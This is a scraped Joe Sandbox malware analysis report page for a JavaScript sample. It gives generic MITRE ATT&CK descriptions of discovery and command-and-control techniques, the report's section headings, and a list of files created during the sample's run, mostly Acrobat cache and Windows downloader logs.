Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1713990941768710675.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\39bace6c-fec8-474d-aad1-6ba486d288a0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5512

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1713990941768710675.js